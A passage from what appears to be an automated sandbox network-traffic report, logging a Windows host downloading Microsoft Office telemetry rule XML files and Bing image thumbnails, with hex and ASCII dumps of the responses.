8b 55 f2 65 fb df 3f dc 4f 93 ef d7 6d 19 cf ed 1c f2 8f 34 0a 5a ae 95 fd 9e 97 09 12 5b ed fb 62 36 c7 f9 df 63 d4 b6 b3 Data Ascii: ;66wC-?Q><UZ[76dI}Xacwkc}46go7)lR\|}W>mq)~}b\|9"+k"7V~*[6#uhPnRy?+fUe?Om4Z[b6c
2024-12-06 17:45:51 UTC	16384	IN	Data Raw: 19 4c eb 7f 65 b6 78 3e 2a 6b 93 3d cb 5c 59 ec f3 5e 14 4f 91 df ce f9 3e fd 3e d7 43 d4 b5 5d 36 f2 19 61 b7 b7 b0 4d 62 e3 7b bb be f4 7d e9 5c 87 ec ea d7 8d 79 e2 0b e8 af 25 b7 b8 87 4d fd cf cf f2 fc ef f7 ea dc 11 6a ab 61 75 73 77 33 bd c4 d7 32 be cf 9f 67 c9 f7 de b9 a5 1f de ca 47 74 6b 72 d2 8c 4e 9b c4 7a 0f 87 ad ae 75 2d 55 fe d1 6f 67 0a 3c 50 f9 3f 3a 79 db fe 47 df fe e5 5a d3 74 8b 3b ed 12 2b 6b 4d 4b ed 0d b3 7b bb ec 44 d9 bf f8 3f db ae 0e fb 50 b9 9f 47 b8 b3 47 df 6b 0e f7 4b 77 f9 d1 26 44 de ff 00 ed ff 00 1b d6 97 86 6e 6e 74 f8 76 3a 27 fa 67 c8 f0 be cd e8 88 9f 27 c9 ff 00 03 ab e5 9f 21 cf cf f6 8e e7 c4 7a 85 cd b7 83 ff 00 e1 1b bb fb 3d a2 dc d9 ec b6 f9 d3 7f 93 ff 00 ed a5 63 6b 13 df b5 b6 9a ef 33 3d c5 9a 6c 47 fb Data Ascii: Lex>*k=\Y^O>>C]6aMb{}\y%Mjausw32gGtkrNzu-Uog<P?:yGZt;+kMK{D?PGGkKw&Dnntv:'g'!z=ck3=lG

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:51 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174551Z-1746fd949bd2cq7chC1EWRnx9g000000046000000000d1rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:51 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174551Z-1746fd949bd4w8sthC1EWR7004000000046g00000000spcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:52 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:52 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174552Z-1746fd949bd7wvgbhC1EWR0rgs00000004g000000000v3nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:52 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: caebb701-901e-002a-678a-467a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174552Z-1746fd949bdtlp5chC1EWRq1v400000004kg000000002pss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:52 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:52 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 53284dc8-901e-0083-0a94-47bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174552Z-1746fd949bdlnsqphC1EWRurw000000004fg000000002gga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49834	2.18.40.150	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-12-06 17:45:54 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Fri, 06 Dec 2024 17:45:53 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.c7741002.1733507153.8858558
2024-12-06 17:45:54 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49830	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:53 UTC	346	OUT	GET /th?id=OADD2.10239378034177_1Y8HUQR0O0JRMMA4L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:54 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 688858 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0CF54F40749A48D8807847030B07831C Ref B: EWR311000108031 Ref C: 2024-12-06T17:45:53Z Date: Fri, 06 Dec 2024 17:45:53 GMT Connection: close
2024-12-06 17:45:54 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a 3c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 30 32 20 30 38 3a 31 32 3a 31 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``<ExifMM*bj(1r2i``Adobe Photoshop 25.0 (Windows)2023:11:02 08:12:198
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: ea 14 a9 39 a3 52 48 fe ec d4 7d ea 7c 94 c4 ad 0c c7 c7 16 fa 7f 94 f4 91 ff 00 b7 56 e0 5d d0 fc 94 73 17 ca 52 d9 4f ab 52 2f 95 55 ea 64 10 88 e8 1b 6d 4d 27 cd 4c 8d 6a 58 d6 a3 98 be 42 2f 2a a5 8e 3a 76 da 93 9a 8e 79 87 21 1e da 7e ca 5e 69 db aa 79 c0 8b ca a2 9d be 8a ae 70 e4 3b 7f 29 2a 29 e0 75 a9 63 6a 74 6d 5c 27 66 a5 3a 2a c4 90 27 f0 54 32 45 b6 b4 0d 46 d1 4d a7 50 1a 85 3a 9b 1d 4d cd 01 a9 1d 49 cd 1c d4 74 06 a4 9c d1 cd 47 45 01 a8 53 e3 a9 e0 81 3f 8e 9b 74 bb 7e e5 1c e1 a8 41 b1 aa e7 95 ba a0 d3 60 ab f0 25 66 1a 91 46 b4 49 05 4f f7 68 a9 0d 48 a4 f9 61 d9 51 4e db 69 f7 15 04 8d 40 6a 43 23 54 0e d4 f9 1a ab c8 d5 b4 43 51 db bd e9 f1 cf 55 fc da 54 a0 35 35 2d 67 ab 5f b9 96 1f 9e 1a c8 b7 a9 e0 b9 db 59 86 a3 6f a5 45 fb 95 Data Ascii: 9RH}\|V]sROR/UdmM'LjXB/:vy!~^iyp;))ucjtm\'f:*'T2EFMP:MItGES?t~A`%fFIOhHaQNi@jC#TCQUT55-g_YoE
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: bc de 9f f0 37 4a 75 d4 ba dd e4 d2 a3 f8 93 c9 54 7d 9e 4f db de 67 ff 00 80 7f 7f e4 af 2a 7c 5b 08 7f cb a9 1a ff 00 63 d5 8f c4 7a c4 ca 96 70 f9 d7 73 43 6e a9 ff 00 2d a6 99 13 ff 00 43 a2 bc 62 7d 22 1b cb c8 92 f6 f2 ee 65 b6 f9 e6 fd f7 df ff 00 63 fd ca 2b 35 c5 dc da f2 1d 54 b2 07 52 3c ce 47 d2 76 bb 16 1d 94 f8 ff 00 75 36 fa c6 92 f9 22 fb 94 db ad 7d 3c 9d 89 5d fc 93 37 e7 81 a9 aa dc a3 56 1d d4 b5 4e eb 53 dd 54 a4 bc ae 88 51 31 9c cb b2 4f 50 ee dd 54 fc fa 74 73 d5 f2 99 73 97 51 a9 f1 b6 da ab 1c b5 24 72 a3 51 ca 05 d8 ee 5d 7f e5 b5 4b f6 e7 68 76 3c d5 97 e6 51 e6 54 72 15 ce 69 79 fb a8 91 9e b3 e3 96 9f 1c f4 72 07 39 6a 49 e6 5a 6f da 5e a1 f3 69 be 6d 1c 83 e7 25 f3 de 9d 1c ef 55 bc da 66 ea 39 08 34 bc d4 6f bf 4c dc 95 49 Data Ascii: 7JuT}Og*\|[czpsCn-Cb}"ec+5TR<Gvu6"}<]7VNSTQ1OPTtssQ$rQ]Khv<QTriyr9jIZo^im%Uf94oLI
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: a5 4b 34 53 7d a2 d7 e7 4b 69 a1 b3 d8 89 37 fb ff 00 3d 71 7a 57 c5 4f 0f 4b 0e c4 87 50 7f 91 df c9 f3 b7 a2 3f df df bf fd ff 00 e0 ae 06 fb ed f6 76 77 56 c9 a9 5d cd 61 72 e8 fe 4c df f8 e5 61 dd 5c a4 1e 6d 9d 97 9d 12 de 6c 4f 3a 1f b9 bf fb 95 eb 61 78 7f 0f 13 cf 96 22 7c fc c7 a7 5a fc 48 f2 2c f5 29 b5 0b 38 74 f5 79 91 fc 9b 78 7e 7b 94 df f7 37 ff 00 72 b3 74 df 18 ea 4b e0 fb ab 3d 1f ec 96 fa 6d ca 3a 5c dc 5c 4d bf ed 3b df e7 d9 f2 7f c0 2b 8f be d3 f5 5d 42 c2 d6 cf ec 76 9b 6d ad be ce 97 1f df fe 3f fb ee aa fd 9b 52 b1 f0 f4 5a 24 b0 c3 e7 ff 00 cf 1f 39 2b d0 a5 97 61 a0 1f 58 f7 ce e3 4d f0 ae 9b e2 1d 56 2b 3b 8d 7b e6 74 fb 46 a5 35 bf c9 67 67 17 f7 13 fb f5 d5 49 e2 ad 07 c2 fe 1e ba d2 bc 1f 0f fa 45 b6 c4 fb 45 f5 9a 3c 37 2e Data Ascii: K4S}Ki7=qzWOKP?vwV]arLa\mlO:ax"\|ZH,)8tyx~{7rtK=m:\\M;+]Bvm?RZ$9+aXMV+;{tF5ggIEE<7.
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: fd fa d2 d3 75 ed 7b 4a ff 00 89 6c 5a c6 a1 f6 7b 97 74 4b 18 6f 1e 1f f8 1f c9 bd eb bf ea 35 69 7c 3c a3 e6 37 2d 7c 0b af 69 f7 97 57 3a 56 9b 77 a7 db ec d9 f6 88 66 44 df f3 ff 00 cb 1f e3 ae 3f 52 54 d0 6f 3e d3 2d 9c d6 37 08 ff 00 ea 6e 21 77 77 df fe c5 6e 78 c7 e2 24 d1 58 7f 65 4b 34 d0 da db 26 c7 9a 6f 9e 6f f8 03 d7 23 aa eb 97 96 d6 76 b7 96 57 9f 2e a4 ee 89 14 d0 f9 c8 88 9f 27 cf fd ca e9 c3 43 11 ff 00 2f 0c 67 3e 5f 84 8e 08 34 dd 5e 68 be c5 f6 b9 95 fe 7b 9f ef ef fb fb 12 a1 9d 93 f7 a8 9f 64 b1 67 7d 89 0f 93 f3 dc d5 ab 59 f5 2b 9b 0f b4 bd e5 a6 eb 9f b9 e4 d9 f9 3f 27 fb f5 4f 55 b1 9a 0f ec d7 79 a6 fb 53 ec ff 00 5d f7 36 6f af 46 31 32 9f 3c 8b b6 ba 64 da ad ff 00 87 ec ed fe c9 0a dc a6 fb c9 a6 87 67 c9 bf e7 aa f6 30 59 Data Ascii: u{JlZ{tKo5i\|<7-\|iW:VwfD?RTo>-7n!wwnx$XeK4&oo#vW.'C/g>_4^h{dg}Y+?'OUyS]6oF12<dg0Y
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: ef ff 00 ae fb 9b ff 00 d8 a6 e9 ba 45 87 93 e7 79 33 5b da c2 ff 00 27 da 3e 77 f9 fe fa 26 cf fd 93 e4 ff 00 6e ba 3f 86 6d 0a 53 a7 f1 8e d0 f5 0d 7a 7d 37 ed 32 d9 cd bb f7 3f b9 b8 bc ff 00 be dd df ff 00 64 ac bd 1e db 4d 8f 5c ff 00 4d 86 6b 8b ab cd f7 09 0c d7 88 8f bf fb 88 9f eb bf f6 4a e9 bc 41 e3 6d 37 48 f3 5e 18 61 86 d6 d9 25 77 9a 69 91 f6 7c 9f 71 21 44 77 af 37 d4 bc 51 a0 eb 5a dc b7 3a 7c 36 97 1e 20 4b 64 d9 6f f6 37 86 6f 27 ef ec 79 bc 9f 91 12 ba b0 fc f5 7e cf ba 74 51 ab ef fc 1c c7 45 3c ba 26 a1 34 57 36 96 7a 84 57 09 e4 bf d9 fc e7 48 53 7f dc df fc 7f ef ef ff 00 be 2a 08 ee 5e c6 fe 5b 3f 3a 1f fa f8 9b e7 85 dd 3f bf 0a 3e f7 7f e3 f9 3f dc aa 16 2b 60 d6 72 bc 30 da 4d 6e 89 be da fb ec 12 a7 d9 be e3 bf ee 5f f7 ce 9f Data Ascii: Ey3['>w&n?mSz}72?dM\MkJAm7H^a%wi\|q!Dw7QZ:\|6 Kdo7o'y~tQE<&4W6zWHS*^[?:?>?+`r0Mn_
2024-12-06 17:45:54 UTC	16384	IN	Data Raw: f4 db 1b 0b 5b 3b bb c9 ae 2e 1d f7 f9 df c1 e7 3f f1 ff 00 df 75 72 e9 af 22 86 f1 12 6f e0 74 7f 27 67 dc 7f f7 eb 8b 11 87 fe 53 d1 a3 88 87 27 bc 60 ed 79 f5 09 7c ad 37 fd 16 d9 1d 2e 7c 99 be ff 00 dc d8 95 2c 90 3c 5e 21 ba bf 8a 1f 3a e3 ec c8 9f 67 86 64 7f f8 1d 4f 75 3c 31 4d 75 67 65 e4 c3 fe 8d fe ba 6f 9d f7 ff 00 7e b9 a9 2e 52 c7 5b ba 9a d6 69 a6 6f b3 6c 78 6d e6 44 de fb fe e6 cf e0 ae 85 87 f7 3d d3 93 eb be ff 00 bc 75 be 19 d5 5d 2c 7f b5 53 4d 9b fd 25 11 3f 83 fd 4f fb 95 e7 3a 96 a7 35 e7 ee 5e ce 69 a5 fb 4b ba 4d 0e cf f4 6d f5 d0 69 ba d3 df 68 91 3f 9d 37 d9 d3 ce d9 0c 3b f6 27 c9 fc 69 5c ef db 26 be bf 96 da ca ce 69 ae 3e ff 00 9d 37 ef 9f 67 f1 be ca f4 21 1f 73 94 f3 e7 3f 7f 9a 27 4b e1 cb c7 fe d2 95 fc e9 ae 1b ef fe Data Ascii: [;.?ur"ot'gS'`y\|7.\|,<^!:gdOu<1Mugeo~.R[iolxmD=u],SM%?O:5^iKMmih?7;'i\&i>7g!s?'K
